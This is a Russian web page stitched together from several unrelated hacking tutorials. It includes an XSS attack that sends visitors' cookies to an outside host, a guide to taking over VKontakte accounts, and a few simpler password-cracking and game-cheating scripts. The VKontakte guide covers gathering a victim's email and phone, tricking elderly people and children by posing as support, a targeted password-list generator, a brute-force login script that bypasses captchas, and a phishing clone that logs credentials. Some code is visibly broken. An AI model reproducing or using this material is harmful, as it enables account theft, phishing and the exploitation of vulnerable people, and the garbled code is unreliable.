Как написать скрипт для взлома

Время на прочтение
3 мин

Количество просмотров 36K

Вторую часть заголовка я взял из статьи вики. Забавно звучит.

Я хотел уже запостить котиков на страничке, нажал кнопку предпросмотр, увидел погрузку контента и мой браузер на пол секунды повис, развернув чуть ниже кнопки «добавить», «мой будущий пост». Я нажал добавить, и мне сообщили, что я должен написать минимум два тега к посту. Я набрал «милые котики» — чуть ниже снова появился блок, в котором можно было подобрать популярные теги. Я решил, что это очень хорошо и такой скрипт мне нужен для коллекции. Не долго думая, я выдрал из страницы javascript, открыл и увидел комментарии к коду на родном русском.

Было очень скучно, и я решил провести маленький взлом с разрешения администрации, для того чтобы проверить свои силы, знание языков и спецификаций. Всё исследование заняло у меня 2 дня, по 3-4 часа в день.

Я решил проверить формы и попробовать что-то сломать, увидеть ошибку или что-то еще. Они были достаточно хорошо защищены: ни намека на SQL-injection или что-то подобное.

После, проверяя наш js файл, я увидел, что несколько переменных совсем не фильтруются на стороне клиента, и можно на странице выполнить любой код, который я вставлю в форму. Первым же делом я вставил классический.

<script>alert(1)</script>

С небес опустилось окошко. Оно гласило, что все в этом мире равно 1.

Сразу скажу, что это баловство. Значит мы имеем простую xss. Не будем расстраиваться — нам этого хватит с головой.

Я вставил в форму

<script>window.eval = function(code){console.log(code)}</script>

Почитав ошибки в браузере, я вставил в форму <iframe увидел окно чужого сайта, проверив поле referral, увидел наш домен, значит, если в проверке запросов на сервер они проверяют referral на свой и не свой, мы уже можем притвориться нашим сайтом и отправить любой запрос, и нам ответят.

На странице, которую я взламывал могут находиться только авторизированные пользователи, а мы можем представляться в запросе самим сайтом, просто введя в форму любой код.

Дальше я приведу уже вредоносный код, который будет посылать нам куки пользователя, он мной кастомизирован, чтобы меня сильно не ругали. Основной кусок кода, который скрывает мои действия на странице я приводить не буду, покажу сам взлом.

1) Создаем страницу в той же кодировке, что и атакуемая.

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>
<body>
<!-- наш код -->
</body>
</html>  

Я думаю с этим может справиться практически любой.

2) В мы должны создать форму, которая будет посылать наш запрос из браузера жертвы

	<iframe src="#страница для взлома" method="post"></iframe> 
	<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="#имя формы через которую проводиться xss." value="Вредоносный код"/> 
	</form> 

3) Шифруем наш код для будущей передачи в форму.

<?php
		$txt1 = "<script>var url='<img src=http://www1.hut.ru/testi.shtml?cookie='+document.cookie+'>';</script>";
		$txt2 = "<script>document.write(url);</script>";
		$txt11 = urlencode($txt1);
		$txt22 = urlencode($txt2);
?>

Осталось передать правильно код на другой домен. Я воспользовался функцией urlencode();. На странице описания функции так и написано: «Эта функция удобна, когда закодированная строка будет использоваться в запросе, как часть URL, также это удобный способ для передачи переменных другим страницам.»

4) Хакерский js код.

5) Ну и после загрузки страницы посылаем все данные в форму.

Ну вот и все, заливаем это все на сервер.

6) В анализ трафика можно провести любым онлайн сниффером.

Полностью код получился такой

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>

	<body>
		<?php
		$txt1 = "var url='<img src=#cнифер?cookie='+document.cookie+'>';";
		$txt2 = "<script>document.write(url);</script>";
		$txt11 = urlencode($txt1);
		$txt22 = urlencode($txt2);
		?>

		<iframe src="#страница для взлома" method="post"></iframe> 
		<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/> 
		</form> 

		<script> window.onload = function() {document.forms[0].submit()} </script>

	</body>
</html>  

В итоге если к нам на сервер придет человек, а в его куках будет нужный нам сайт, мы тут же их своруем. Код не претендует на обсуждение или разбор, я нахожусь в режиме обучения. Моей целью было боевое крещение по нахождению хоть одной уязвимости.
От данной атаки можно защититься взяв с предосмотром в тег

<noscript>

p.s. Мне сказали спасибо и в течении дня закрыли уязвимость.

В статье приводится несколько возможных способов взлома ВКонтакте, ориентированных на людей, недалёких в компьютерной безопасности.

Иными словами, при взломе будут использоваться не машинные, а человеческие уязвимости. Естественно, приведённые методы не универсальны (и слава богу!), и у кого-то может хватить мозгов на то, чтобы не поддаваться на ваши провокации. Но таких не так уж много, поверьте. Итак, начнём. Прежде всего, перед началом вам понадобятся страница, которую вы собираетесь «хакнуть», свободное время и безопасный доступ к ВКонтакте. Сам процесс взлома разделим на несколько шагов.

1. Сбор информации

ВКонтакте

Прежде всего, нужно собрать как можно информации со страницы потенциальной жертвы, а именно:

    1. URL страницы.
      Сохраняем себе ID или, если там имеется буквенная замена, то ее. Аккаунты и другую нужную нам информацию, всякого рода твиттеры и тому подобное.
    2. Неплохо было бы заиметь почту цели.
      Если человек не только попал в сеть, вы сможете найти почту путем простого гугления. К примеру, особо удобно отыскивать почту на mail.ru. Также можно попробовать поискать Ф.И.О. цели и дату рождения. Или же другого рода такие комбинации. Если жертва имеет Мой Мир на mail, то почта будет в коде страницы или же в URL.

      В том случае, когда имеется почта без соц.сети от mail’a, почту можно выяснить, создав себе подставную почту на этом сервисе и поискав в мессенджере от мэйла. Как ещё один из способов, можно попробовать найти что-нибудь дельное с помощью аккаунтов цели в других социальных сетях. Например, попытаться пробить никнеймы из всех найденных аккаунтов по всем известным почтовым сервисам. Как вариант, можно попробовать использовать импорт почтовых контактов и предложение добавить этих людей в друзья. Регистрируем очередную фальшивую почту и получаем дополнительные аккаунты. Как альтернатива, можно попытать счастье, используя форму восстановления в Twitter’е, таким образом узнав часть почты. В FaceBook’е можно напрямую поискать аккаунт, введя почту в поиск.

    3. Телефон.
      Так, URL и почту узнали, осталось достать номер телефона. Не считая тех случаев, когда номер висит в открытом доступе на странице в соц. сетях или в каких-то проектах (Avito/HeadHunter/Покупка или продажа недвижимости/Свой сайт/Другое), остаётся только один метод. Имеется почта пользователя на mail’е. Вводим ее в форму восстановления в ВКонтакте, и приходит часть номера. А теперь то же самое, но на mail. И если номер там привязан, то вы увидите уже другую, вторую часть номера. Если почта не привязана, то тогда там есть секретный вопрос. Перебираем его и заставляем юзера привязать мобилку на сервис. Отлично, осталась всего пара цифр от почты. Чтобы их узнать, достаточно перебрать форму восстановления ВКонтакте уже с помощью номера. Всего-то 99 раз. Можно и автоматизировать. Также в некоторых случаях люди любят публиковать свой номер на странице, но закрывать часть номера звездочками, черточками и прочей ерундой, что также может упростить процесс взлома. Если повезет, то вам будут видны именно те цифры, которые недоступны в форме восстановления вк.

2. Взлом ВКонтакте страницы

На данном этапе мы будем пробовать получить доступ к аккаунту цели. Рассмотрим самые простые приёмы:

1) «Социнженер»

Здесь сразу нужно оговориться, что этот способ годиться только для тех, кто мало что знает об интернете, но решил по каким-либо причинам зарегистрироваться в соц.сети. Как правило, это либо старики, либо дети.

Если вы хотите просто попрактиковаться, то новички ВКонтакте могут быть найдены здесь.
В данном случае, применяется один из законов психологии: человек, который не разбирается в чем-то, подсознательно доверяет тому, кто более опытен в конкретной области, и принимает его слова на веру.
Тут можно создать аккаунт представителя техподдержки, создать «официальную» почту администрации и прочее. И создать какую-нибудь легенду. Что новые пользователи обязаны проходить проверку после регистрации и дать, например, ссылку на некий тест, по итогу или для входа которого требуется логин-пасс от вк. Самое важное, чтобы вы действовали осторожно. Следует убедить пользователя, что он в безопасности. Этот приём хорошо сочетается с фейком. Кроме того, продвинутые социнженеры могут, узнав номер юзера, позвонить (анонимно, используя sip) и развести напрямую. Кроме того, вся указанная вами информация (номер телефона/упоминание фактов с указанием дат/другое) также помогает установить контакт с жертвой и косвенно говорит о том, что вы из техподдержки.

2) «Умный» перебор

Метод, рассчитанный на среднестатистических пользователей. Для него нам надо будет специальный словарь, заточенный под конкретного человека. Давайте разберёмся со структурой нашего словаря:

  • Личные данные. Сюда входят дата рождения (17.11.1992 = 1711, 1992, 17111992), возраст (1992, 2017 = 2017, 1992,  24), имя (Стас = stas, ctac) и фамилия (Иванов = ivanov).
  • Аккаунты из других соц. сетей и почтовые сервисы (twitter.com/stasik_ku , facebook.com/stasss1992, stasss92@mail.ru = stasik_iv, stasss1992, stasss92).
  • Увлечения (футбол, плавание, молодежка = football, swimming, molodejka, molodegka).

Также есть страница вк, на которой написано, какие пароли следует указывать, какие символы возможны и самые частые пароли.
Получился лист из 14 строк. Но из него еще нужно создать комбинации паролей, которые могла бы создать наша жертва.
Представляю вам мой небольшой скрипт на python, который этим и занимается.

#! coding:utf-8
import sys,os
razdel = ['_',':',';']
def uniq(seq):
    seen = set()
    seen_add = seen.add
    return [x for x in seq if not (x in seen or seen_add(x))]

def brute_words(words):
    new_words = []

    for i in words:
        new_words.append(i)
        new_words.append(i[0].upper() + i[1:])
        new_words.append(i[0].upper() + i[1:-1] + i[-1].upper())
        new_words.append(i.upper())

    for j in spisok:
        new_words.append(i + j)
    for m in razdel:
        new_words.append(j + m + i)
        new_words.append(j + i)
        new_words.append(i * 2 + j)
        new_words.append(j * 2 + i)
        new_words.append(i[0].upper() + i[1:] + j)
        new_words.append(i[0].upper() + i[1:-1] + i[-1].upper() + j)

   return uniq(new_words)

def generate(words_file):
    o = open(words_file, 'r')

words = o.read().splitlines()
for i in brute_words(words):
    print(i)

def main():
    try:
        argv1 = sys.argv[1]
        generate(argv1)
    except IndexError:
        print("Нужно указать файл")
    except IOError:
        print("Нет такого файла")

if __name__ == "__main__":
    main()

Из 14 получилось 1272 варианта. Приведу часть.

Molodegkactac

MolodegkActac

molodejka_molodegka

Stasss92molodejka

stasss92molodegka

molodegka_stasss92

molodegka:stasss92

molodegka;stasss92

stasss1992swimming

swimming_stasss1992

Kurayginctac

KuraygiNctac

kurayginkuraygin

kuraygin_kuraygin

molodegka17111992

1711199217111992molodegka

molodegkamolodegka17111992

24

1711_24

Отлично, теперь автоматизируем перебор паролей через мобильную версию ВКонтакте небольшим скриптом.

#! coding: utf8
import grab, re, urllib2
from antigate import AntiGate
from grab import GrabTimeoutError
from time import sleep

cap_key = '123 ' #Ваш ключ с Antigate
def anti(key, file): #Получение решения Captcha с Antigate
    try:
        try:
            data = AntiGate(key, file)
            return data
        except KeyboardInterrupt:
            print("Завершение")
    except:
        anti(key, file)

def save(url, file): #Скачивание файла по URL
    site = urllib2.urlopen(url)
    f = open(file, 'wb')
    f.write(site.read())

def cap_solve(img):
    save(img, 'captcha.jpg')
    key = anti(cap_key, 'captcha.jpg')
    return key

def brute(login, passwords, save):
    out = open(save, 'w')
    psswrds = open(passwords,'r')
    
    try:
        int(login)
        prefix = True
    except:
        prefix = False
    
    g = grab.Grab()
    g.go('http://m.vk.com')

    for line in psswrds:
        psswrd = line.rstrip('rn')
        g.doc.set_input('email', login)
        g.doc.set_input('pass', psswrd)
        g.doc.submit()

        if g.doc.text_search(u'captcha'):
            all_captchas = re.findall('"(/captcha.php[^"]*)"', g.response.body)[0]
            captcha = '' + all_captchas
            key = cap_solve(captcha)
            g.doc.set_input('email', login)
            g.doc.set_input('pass', psswrd)
            g.doc.set_input('captcha_key', str(key))
            g.doc.submit()
            print("cap")
            if 'Подтвердить' in g.response.body:
                if prefix:
                    prefix1 = g.doc.rex_search('+[0-9]*').group(0)
                    prefix2 = g.doc.rex_search(' [0-9]*').group(0)
                    pre1 = re.findall('[0-9]{1,}', prefix1)[0]
                    pre2 = re.findall('[0-9]{1,}', prefix2)[0]
    
                    login = login.replace(pre1, '')
                    login = login.replace(pre2, '')
    
                    g.set_input('code', login)
                    g.submit()
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + 'n')
                else:
                    out.write(login + ':' + psswrd + 'n')
            else:
                if g.doc.rex_search('[^>]+').group(0) == 'Login | VK':
                    print(login + ':' + psswrd + '--fail')
                else:
                    print(login + ':' + psswrd + '--success')
                    out.write(login + ':' + psswrd + 'n')
    out.close()
    psswrds.close()

Естественно, пример не оптимизирован. Можно ещё добавить прокси, многопоточность и прочие плюшки, но этим уже сами займётесь, если будет интересно. Зато скрипт способен сам вводить недостающие цифры в защиту ВКонтакте при заходе с другой страны, а также, используя Antigate, запросто вводит Captch’и, появляющиеся после 5-6 попытки ввода с одного IP.

3) «Фейк — наше все»

Способ, ориентированный на невнимательных юзеров. По большей части их либо завлекают халявой, либо отвлекают внимание с помощью многобукв. Я покажу вам, как создать простой фейк на основе обычного сайта вк (страницы логина). Можете брать как мобильную, так и основную версии, зависит от того, с какого устройства будет заходить ваша цель. Что ж, приступим.
Первым делом качаем страницу логина вк через ваш браузер. Затем смените кодировку html файла на utf-8. Сначала определяем кодировку

file --mime-encoding file.html

Затем меняем с исходной на новую

iconv -f iso-8859-1 -t utf-8 file.html > vk2.html

Далее вам нужно создать управление страницей на серверном языке.

@route('/')
def index():
    return template('vk2.html')
    
@route('/Welcome! | VK_files/')
def server_static(filepath):
    return static_file(filepath, root='./Welcome! | VK_files/')

Как выяснилось, на кое-каких файлах порой выдаётся ошибка 404. У нас, к сожалению, не имеется нужных картинок с сайта, так что положим их в отдельную папку images.

mkdir images
cd images
wget
wget ""
wget ""
mkdir icons
cd icons
wget ""
wget ""

Пропишем новый роутинг в скрипте.

@route('/images/')
def server_static(filepath):
    return static_file(filepath, root='./images/')

Отлично. Конечно, по-хорошему надо было бы ещё также скачать основные страницы, на которые можно перейти с основной не залогинившись, чтобы было правдоподобней (а потом поменять ссылки в основной), но для начала и этого хватит.
Добавим роутинг для пост запроса. Найдем форму логина на странице. Изменим в ее коде action на пустое и удалим проверку onsubmit. И добавим обработку post-запроса.

@post('/')
def index():
    login = request.forms.get('email')
    password = request.forms.get('pass')
    print("|Catch|-------------- " + login + ':' + password)
    with open("log.txt", "a") as myfile:
        myfile.write(login + ':' + password + "n")
    
    return redirect('http://www.vk.com')

В заключении, переносим тег button, что под формой в коде в пределы формы и добавляем свойство type=»submit», и наслаждаемся тем, что всё работает. Для тех, у кого что-то не получилось, представляем архив с готовым решением.

Если вы желаете оптимизировать этот процесс и не хотите прописывать всё это ручками, то можете воспользоваться инструментом SET. (Social Engineer Toolkit).

Другие материалы по теме:

10 лучших ресурсов для изучения хакинга с помощью Kali Linux
5 лучших Android приложений для взлома Wi-Fi сетей
10 лучших инструментов для хакинга в 2017 году

Больше полезной информации вы найдете на нашем телеграм-канале «Библиотека хакера».

Инженер информационных технологий, участвующий в шифровании мира, должен знать основы взлома. Взлом – это процесс получения доступа к системе, которого у нас быть не должно.

Например, вход в учетную запись электронной почты без авторизации является частью взлома этой учетной записи. Получение доступа к компьютеру или мобильному телефону без авторизации – это взлом. Существует множество способов, которыми пользователь может взломать систему, и основная концепция взлома та же самая: взлом системы без какой-либо аутентификации.

Автор статьи не несет ответственности за использование исходного кода. Данный материал выложен исключительно для ознакомления и не побуждает к противоправным действиям. Наоборот, статья написана в помощь разработчикам, чтобы понимать как устроен хакинг и как вы можете от него защититься.

Этический хакинг – взлом с помощью Python не ограничивается взломом паролей или кражей данных. Он используется для сканирования уязвимостей и обнаружения потенциальных угроз в компьютерной системе или сетях. Этичные хакеры находят слабые места или лазейки в системе, приложениях или сетях и сообщают о них организации.

Существуют разные типы хакеров, вот некоторые из них:

  • Черные хакеры. Хакеры Black Hat – это люди, которые неэтично проникли на сайт для получения данных с административного портала или для манипулирования данными. В основном они делают это для получения прибыли или для получения личных данных. Их основная цель – нанести компании серьезный ущерб, а это может привести даже к опасным последствиям.
  • Белые хакеры. Это хакеры, которые ищут ошибки и сообщают о них организациям или фирмам с соблюдением этических норм. Они авторизованы как пользователи для тестирования и проверки ошибок в сетях или веб-сайтах и сообщают об этом разработчикам или уполномоченным лицам. Хакер в белой шляпе обычно получает всю необходимую информацию о веб-сайте или сетевой системе, которые они тестируют, от самой фирмы. Взломав систему с авторизацией, они могут спасти сайт от злоумышленников в будущем.
  • Серые хакеры. Эти типы хакеров получают доступ к данным веб-сайта или сети и нарушают кибер-закон. Но у них нет таких же намерений, как у хакеров Black Hat. Они взламывают систему для общего блага, но они так же отличаются от белых хакеров, поскольку они используют уязвимости публично, а хакеры в белой шляпе делают это в частном порядке для фирмы или организации.

Использование Python для программирования взлома

Язык Python широко используется для общих целей, и это язык программирования высокого уровня. Это очень простой и мощный язык сценариев с открытым исходным кодом и объектно-ориентированный.

Python имеет встроенные библиотеки, которые можно использовать для различных функций, и взлом – одна из них. Python очень популярен и пользуется большим спросом на рынке. Изучение того, как взломать с помощью Python, поможет лучше понять язык.

Как взламывают пароли?

Как известно, пароли веб-сайтов или файлов не хранятся в виде простого текста в базе данных веб-сайтов. В этом уроке мы собираемся взломать простой текст, защищенный паролем. В простом тексте пароли хранятся в хешированном (md5) формате.

Итак, пользователь должен взять input_hashed (который представляет собой хешированный пароль, хранящийся в базе данных), а затем он должен попытаться сравнить его с хешированием (md5) каждого простого текстового пароля, который можно найти в файле паролей.

Когда будет найдено совпадение хешированного пароля, пользователь может отобразить пароль в виде простого текста, который хранится в файле паролей. Но если пароль не найден в файле входных паролей, то будет отображаться, что «Пароль не найден», это происходит только при переполнении буфера.

Эти типы хакерских атак считаются «атаками по словарю».

Пример:

 
import hashlib 
print("# # # # # #  Password Hacking # # # # # #") 
         
# to check if the password is found or not in the text file. 
password_found = 0                                      
  
input_hashed = input(" Please enter the hashed password: ") 
  
password_document = input(" n Please enter the passwords file name including its path(root / home/): ") 
   
try: 
    # here, we will try to open the passwords text file. 
    password_file = open(password_document, 'r')              
except: 
    print("Error: ") 
    print(password_document, "is not found.n Please enter the path of file correctly.") 
    quit() 
  
  
# now, for comparing the input_hashed with the hashes of the words present in the password text file for finding the password. 
  
for word in password_file: 
    # to encode the word into utf-8 format 
    encoding_word = word.encode('utf-8')  
              
    # to Hash the word into md5 hash 
    hashed_word = hashlib.md5(encoding_word.strip())   
   
    # to digest that the hash into the hexadecimal value     
    digesting = hashed_word.hexdigest()         
       
    if digesting == input_hashed: 
        # to compare the hashes 
        print("Password found.n The required password is: ", word)   
        password_found = 1 
        break 
  
# if the password is not found in the text file. 
if not password_found: 
    print(" The password is not found in the ", password_document, "file")   
    print('n') 
print(" # # # # # # Thank you # # # # # # ") 

Вход 1:

 
# # # # # #  Password Hacking # # # # # # 
 Please enter the hashed password:  1f23a6ea2da3425697d6446cf3402124 
  
Please enter the passwords file name including its path(root / home/):  passwords.txt 

Выход:

Password found. 
 The required password is:  manchester123 
 
 # # # # # # Thank you # # # # # # 

Вход 2:

 
# # # # # #  Password Hacking # # # # # # 
 Please enter the hashed password:  b24aefc835df9ff09ef4dddc4f817737 
  
 Please enter the passwords file name including its path(root / home/):  passwords.txt 

Выход:

Password found. 
 The required password is:  heartbreaker07 
 
 # # # # # # Thank you # # # # # # 

Ввод 3:

# # # # # # Взлом пароля # # # # # #

Пожалуйста, введите хешированный пароль: 33816712db4f3913ee967469fe7ee982

Введите имя файла паролей, включая путь к нему (root / home /): passwords.txt

Выход:

Пароль не найден в файле passwords.txt.

Объяснение:

В приведенном выше коде мы сначала импортировали модуль «hashlib», поскольку он содержит различные методы, которые могут обрабатывать хеширование любого необработанного сообщения в зашифрованном методе. Пользователь должен ввести хешированный пароль и местоположение текстового файла паролей.

Затем необходимо открыть текстовый файл, но если он не найден в указанном месте, выводится сообщение об ошибке «Файл не найден».

Затем мы сравниваем введенный хешированный пароль с хешированными словами, присутствующими в текстовом файле, чтобы найти правильный пароль; для этого мы должны закодировать слова в формате utf-8, а затем хешировать слова в хеш md5 и перевести хешированное слово в шестнадцатеричные значения.

Если переведенное значение равно входному хэш-паролю, он распечатает найденный пароль и его правильное значение. Но если пароль не найден, это означает, что значение не совпадает с введенным хеш-паролем. Будет напечатано «Пароль не найден».

Заключение

В этом руководстве мы обсудили этический взлом в Python, а также показали пример того, как взломать пароль.

Изучаю Python вместе с вами, читаю, собираю и записываю информацию опытных программистов.

Взлом веб-приложений и игр

Взлом веб-приложений и игр – тема сегодняшнего обсуждения. Многие из нас хоть раз играли в игру через браузер, иногда даже очень длительное время. Мы с друзьями часто играем в Telegram и сегодня мы разберемся, как быстро побить рекорды друзей, а также получить желаемое.

То, что мы будем делать на самом деле нельзя назвать взломом, так как мы ничего не получаем, кроме игровых преимуществ. Всё, что на самом деле мы делаем называется javascript injection.

Примером для нас послужит игра под названием Kicker King из Telegram. На её примере мы получим 20000 очков с помощью всего 1 броска. Вообще в игре 1 бросок – 1 балл.

Взлом веб-приложений и игр | Практика javascript injection

Для начала нам нужно зайти в веб-версию самого Telegram и запустить игру. Это нужно для того, чтобы мы могли увидеть и найти нужный нам метод в js файле, который подключен для работы приложения.

После запуска игры заходим в исходный код фрейма, если игра открылась на полный экран, не во фрейме, то заходим в исходный код страницы.

Скрипты подключаются как в самом верху, так и внизу страницы, чаще всего скрипт игры находиться внизу. Редки случаи, когда игровой javascript файл подключают вверху.

Открыв код игры, которую мы используем для примера и пролистав страницу вниз мы видим вот такие подключенные скрипты.

Находим нужный скрипт

Посмотрев на них, можно сразу понять, что нам нужен GameUI.min.js. Код минифицирован, его нереально читать, убираем .min и получаем нормальный код GameUI.js. Однако тут стоит упомянуть, что не всегда на сервере храниться такой вариант. Проблемы здесь нет, выделяем весь код и идем на любой Beautify JS сайт.

Чтобы осуществить взлом веб-приложений и игр нам нужно найти тот участок кода, который отвечает за обновление игровых баллов, в данном случае. Вообще, в случае с другими веб-приложениями, веб-играми это может быть другой участок кода, например Coins, Radius, Scale, Points или Health. В общем, всё что душе угодно.

Чтобы долго не искать, вводим в поисковике Score и ищем то, что нам нужно.

Находим нужный метод

Как вы видите, мы нашли метод отвечающий за обновление баллов. Копируем его и в нужный нам момент запускаем в Console.

gameUI.updateScore(n)

n – количество очков, которые вы хотите получить.

Данная консоль находиться в инспекторе элементов, пункт может называться “просмотреть код элемента”, зависит от браузера.

Всё, теперь можем проигрывать, все очки сохраняются и отображаются в общем списке результатов.

Результат взлома

Взлом веб-приложений и игр можно осуществить и подменой js кода, загрузив локально свой файл. Для этого можно воспользоваться плагином, в Google Chrome это Resource Override. Такой метод может пригодиться если на сайте используется функция замыкания. В таком случае через консоль ничего изменить не получиться, в общем окружении переменных js нам ничего не доступно и что-то делать через консоль бесполезно.

Взлом веб-приложений и игр | Выводы

Как вы уже поняли js injection довольно серьезный инструмент для WEB. С его помощью можно не только взламывать веб-приложения и игры, но и многое другое, например красть данные. Делать я этого никого не призываю, так как это будет считаться противозаконным действием и только вы несете ответственность за причиненный вами ущерб.

Не используйте данный метод для обмана, делайте всё себе в удовольствие и ради самообразования.

Сегодня мы поговорили о том, как взломать веб-приложения и игры. Если вам понравилась статья, оставляйте свои комментарии, подписывайтесь на обновления сайта, а также наш Telegram.

Кодинг
49,276

Перебор пароля Python

Сегодня понадобилось написать простой код для перебора случайно сгенерированных четырехзначных паролей, для «взлома». Естественно, пароль, который мы будем «взламывать», мы введем сами, в этой же программе, ведь я не хочу создавать скрипт для брута, а лишь хочу продемонстрировать новичкам в программировании, как должен работать подобный скрипт.

Еще по теме: Взлом WiFi на Python

Для начала надо выбрать язык. Я решил выбрать Python, так как он приятней глазу, и на нем будет проще объяснить, как работает процесс перебора паролей.

Итак, начнем. Какие модули нам необходимы? Только один — random! Импортируем его.

Далее, надо определиться с переменными. Нам нужны 6.

correctPassword = «1234» # Вводим пароль, который нужно забрутить

wrongPasswords = [] # В этот список будут добавляться уже подобранные пароли, чтобы не повторяться

password = «» # В эту переменную будет записываться сгенерированный пароль,  и, если он ложный, пойдет в wrongPassword

length = 4 # Длина пароля. Эта переменная нужна будет в будущем

chars = «1234567890»  # Символы, из которых будет генерироваться пароль.

run = True # Думаю, не стоит объяснять

Вот и все необходимые переменные.

Теперь необходимо создать цикл. В нем все и будет выполняться. Также добавим в него строчку для обнуления переменной password

Переходим к самому интересному — генерации и перебору паролей.

Сначала создадим цикл for, для генерации пароля. Тут нам и пригодится переменная length.

for i in range(length):

    password += random.choise(chars)

Теперь напишем код, который будет проверять, генерировала уже программа этот пароль, или нет. Ну и проверять, идентичен ли он правильному.

if password not in wrongPasswords:

    print(password)

    if password != correctPassword:

        wrongPasswords.append(password)

    else:

        run = False

        break

print(password + » is correct»)

Вот и все! Все работает!

Надеюсь, кому-то данная статья помогла, кому-то просто была интересна.

Весь код полностью:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

import random

correctPassword = «1234»

wrongPasswords = []

password = «»

length = 4

chars = «12e4567890»

run = True

while run:

    password = «»

    for i in range(length):

        password += random.choise(chars)

    if password not in wrongPasswords:

        if password != correctPassword:

            print(password)

            wrongPasswords.append(password)

        else:

            run = False

            break

print(password + » is correct»)

Еще по теме: Простой кейлоггер на Python

ВКонтакте

Twitter

Facebook

OK

Telegram

WhatsApp

Viber

Понравилась статья? Поделить с друзьями:
  • Как написать скрипт для windows cmd
  • Как написать скрипт для powershell
  • Как написать скрипт для linux ubuntu
  • Как написать скрипт для imacros
  • Как написать скрипт для excel